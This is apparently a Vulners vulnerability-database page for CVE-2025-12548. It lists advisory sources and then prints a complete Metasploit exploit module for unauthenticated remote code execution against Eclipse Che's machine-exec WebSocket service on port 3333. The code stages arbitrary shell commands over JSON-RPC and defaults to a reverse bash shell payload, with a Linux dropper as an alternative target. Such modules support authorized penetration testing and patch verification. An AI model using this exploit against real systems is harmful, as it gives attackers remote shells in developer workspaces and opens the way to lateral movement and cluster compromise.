| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2025-12548 | 13 Jan 202615:35 | – | attackerkb | |
| CVE-2025-12548 | 13 Jan 202618:13 | – | circl | |
| Eclipse Che 访问控制错误漏洞 | 13 Jan 202600:00 | – | cnnvd | |
| CVE-2025-12548 | 13 Jan 202615:35 | – | cve | |
| CVE-2025-12548 Github.com/che-incubator/che-code: eclipse che — unauthenticated rce and secret exfiltration via tcp/3333 | 13 Jan 202615:35 | – | cvelist | |
| EUVD-2026-2332 | 13 Jan 202615:35 | – | euvd | |
| CVE-2025-12548 | 13 Jan 202616:15 | – | nvd | |
| 📄 Eclipse Che WebSocket Machine-Exec Remote Code Execution | 22 Apr 202600:00 | – | packetstorm | |
| PT-2026-2441 | 13 Jan 202600:00 | – | ptsecurity | |
| CVE-2025-12548 | 2 Dec 202508:01 | – | redhatcve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Rex::Proto::Http::WebSocket
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
workspace containers, accepts WebSocket connections without authentication.
An attacker can connect to the machine-exec service and execute arbitrary
commands via JSON-RPC over WebSocket. This allows lateral movement between
workspaces and potential cluster compromise.
The vulnerability affects Red Hat OpenShift DevSpaces environments where
the machine-exec service is network-accessible.
},
'License' => MSF_LICENSE,
'Author' => [
'Richard Leach', # Vulnerability discovery
'Greg Durys <[email protected]>' # PoC and Metasploit module
],
'References' => [
['CVE', '2025-12548'],
['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
['URL', 'https://github.com/eclipse-che/che-machine-exec']
],
'DisclosureDate' => '2025-12-01',
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3333,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
])
end
# Safely close a WebSocket connection, ignoring any errors
def safe_wsclose(wsock)
wsock&.wsclose
rescue StandardError
nil
end
# Connect to WebSocket and return socket plus any leftover data from HTTP response.
# The machine-exec server sends the hello message immediately after the upgrade,
# which gets absorbed into the HTTP response body during parsing.
def connect_ws_with_leftover(uri)
ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))
http_client = connect
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?
req = http_client.request_raw({
'uri' => uri,
'headers' => {
'Connection' => 'Upgrade',
'Upgrade' => 'websocket',
'Sec-WebSocket-Version' => '13',
'Sec-WebSocket-Key' => ws_key
}
})
http_client.send_request(req)
res = http_client.read_response(datastore['WS_TIMEOUT'])
unless res&.code == 101
http_client.close
raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
end
# WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
unless res.headers['Sec-WebSocket-Accept'] == accept_key
http_client.close
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
end
socket = http_client.conn
socket.extend(Rex::Proto::Http::WebSocket::Interface)
leftover = res.body.to_s
vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}")
# The hello frame may arrive in the HTTP response body or shortly after.
# If absorbed into the body, parse the raw frame bytes to extract the payload.
# Otherwise, read a frame from the socket directly.
if leftover.present?
hello = parse_ws_frame(leftover)
else
frame = begin
::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe }
rescue ::Timeout::Error
nil
end
if frame
frame.unmask! if frame.header.masked == 1
hello = frame.payload_data.to_s
end
end
[socket, hello]
end
# Parse a WebSocket frame from raw data
def parse_ws_frame(data)
return nil if data.blank?
frame = Rex::Proto::Http::WebSocket::Frame.new
frame.read(data)
frame.unmask! if frame.header.masked == 1
frame.payload_data.to_s
end
def check
begin
wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
end
if hello.blank?
safe_wsclose(wsock)
return CheckCode::Unknown('No hello message received from service')
end
begin
json = JSON.parse(hello)
if json['method'] == 'connected' && json.dig('params', 'tunnel')
safe_wsclose(wsock)
return CheckCode::Appears('machine-exec service accepts unauthenticated connections')
end
rescue JSON::ParserError
nil
end
safe_wsclose(wsock)
CheckCode::Safe('Service did not respond as expected')
end
def exploit
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
print_status('Connecting to machine-exec service...')
begin
wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
end
print_good('Connected to machine-exec service')
if hello.blank?
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'No hello message received')
end
vprint_status("Received hello: #{hello}")
print_status('Staging payload via JSON-RPC create method...')
create_request = {
'jsonrpc' => '2.0',
'method' => 'create',
'params' => {
'cmd' => ['sh', '-c', cmd],
'type' => 'process'
},
'id' => 1
}
wsock.put_wstext(create_request.to_json)
frame = begin
::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
rescue ::Timeout::Error
nil
end
if frame.nil?
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'No response to create request')
end
frame.unmask! if frame.header.masked == 1
response_data = frame.payload_data.to_s
begin
response = JSON.parse(response_data)
process_id = response['result']
if process_id.nil?
error_msg = response.dig('error', 'message') || 'Unknown error'
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
end
print_good("Command staged with process ID: #{process_id}")
rescue JSON::ParserError
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
end
safe_wsclose(wsock)
print_status("Triggering execution via /attach/#{process_id}...")
begin
wsock_attach = connect_ws({
'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
})
print_good('Payload triggered!')
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
end
safe_wsclose(wsock_attach)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation